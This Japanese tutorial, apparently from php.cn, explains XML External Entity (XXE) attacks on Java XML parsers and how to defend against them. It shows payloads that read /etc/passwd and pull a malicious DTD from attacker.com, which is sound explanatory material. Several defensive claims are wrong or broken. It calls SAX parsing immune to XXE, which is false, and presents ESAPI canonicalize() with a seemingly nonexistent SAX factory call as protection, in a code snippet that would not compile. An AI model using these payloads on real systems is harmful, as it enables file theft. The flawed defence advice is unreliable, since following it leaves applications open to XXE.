ホームページ > Java > &#&チュートリアル > Java における XML 外部エンティティ攻撃と防御

Java における XML 外部エンティティ攻撃と防御

王林
リリース: 2023-08-08 13:13:04
オリジナル
1347 人が閲覧しました

Java における XML 外部エンティティ攻撃と防御

Java における XML 外部エンティティの攻撃と防御

はじめに:
XML (Extensible Markup Language) は多くのアプリケーションで広く使用されており、データの保存と送信。ただし、XML 外部エンティティ攻撃 (XML External Entity、XXE) などの XML 処理のセキュリティ脆弱性により、アプリケーションは攻撃に対して脆弱になるため、XXE 攻撃を防止して保護する必要があります。この記事では、XXE 攻撃の原理、一般的な攻撃手法を紹介し、一般的な予防策とコード例をいくつか示します。

1. XML 外部エンティティ攻撃とは何ですか?
XML 外部エンティティ攻撃とは、攻撃者が XML プロセッサの脆弱性を利用して外部エンティティを導入し、機密ファイルを読み取ったり、悪意のある操作を実行したりすることを指します。 XML 外部エンティティは、外部のドキュメントまたはリソースを参照するための特別なメカニズムであり、通常の状況では、アプリケーションが有用なデータを取得するのに役立ちます。ただし、攻撃者は、ローカル ファイルやリモート ファイルを読み取ったり、コマンドを実行したりする悪意のあるエンティティを構築する可能性があります。

2. 一般的な攻撃手法

  1. DOCTYPE ステートメント攻撃
    攻撃者は、悪意のある DOCTYPE ステートメントを作成することによって XXE 攻撃を引き起こす可能性があります。例:

    <!DOCTYPE foo [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    ログイン後にコピー

    上記のコードでは、攻撃者は DOCTYPE ステートメントを使用して、/etc/passwd## を参照するエンティティ xxe を定義します。 # ファイルの場合、攻撃者はこの DOCTYPE 宣言を含む XML ファイルを解析することで機密ファイルを正常に読み取ることができます。

  2. URL エンティティ攻撃

    攻撃者は URL エンティティを構築することで XXE 攻撃を引き起こす可能性があります。例:

    <!ENTITY xxe SYSTEM "http://attacker.com/malicious.dtd">
    ログイン後にコピー

    上記のコードでは、攻撃者は悪意のある DTD ファイルをリモート サーバーに配置し、URL を参照してそのファイルを読み取って実行します。

  3. #3. 予防策とコード例
XXE 攻撃を防止し防御するために、次の対策を講じることができます:


    SAX 解析を使用する SAX パーサーはイベント駆動型の XML 解析手法であり、DOM パーサーと比較してメモリ消費量が少なく、エンティティ拡張をサポートしていないため、XXE 攻撃のリスクを回避できます。以下は、SAX パーサーを使用して XML を解析するためのサンプル コードです。
  1. SAXParserFactory factory = SAXParserFactory.newInstance();
    SAXParser saxParser = factory.newSAXParser();
    XMLHandler handler = new XMLHandler();
    saxParser.parse(new File("example.xml"), handler);
    ログイン後にコピー


    外部エンティティ解析を無効にする
  2. XML 解析プロセス中に外部エンティティの解析を無効にして、XXE を防ぐことができます。攻撃します。以下は、DOM パーサーを使用して外部エンティティ解析を無効にするサンプル コードです。
  3. DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
    DocumentBuilder builder = factory.newDocumentBuilder();
    Document document = builder.parse(new File("example.xml"));
    ログイン後にコピー


    安全な XML パーサーを使用する
  4. 安全な XML パーサーを使用すると、OWASP などのより強力な防御機能が提供されます。 ESAPI は、XXE 攻撃を防御する安全な XML パーサーを提供します。以下は、OWASP ESAPI を使用して XML を解析するためのサンプル コードです:
  5. String xmlContent = "<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>";
    String safeContent = ESAPI.encoder().canonicalize(xmlContent);
    SAXParserFactory factory = SAXParserFactory.newInstance();
    SAXParser parser = ESAPI.securityConfiguration().getSAXFactory().newSAXParser();
    parser.parse(new InputSource(new StringReader(safeContent)), new DefaultHandler());
    ログイン後にコピー


    結論:
  6. XML 外部エンティティ攻撃は、悪意のある XML ファイルを構築することで読み取れる一般的なセキュリティ脆弱性です。機密情報を取得したり、悪意のある操作を実行したりする可能性があります。アプリケーションを XXE 攻撃から保護するには、SAX パーサーの使用、外部エンティティ解析の無効化、安全な XML パーサーの使用など、一連の防御手段を講じることができます。これらの予防策を講じることで、アプリケーションのセキュリティを向上させ、XXE 攻撃のリスクを軽減できます。

以上がJava における XML 外部エンティティ攻撃と防御の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート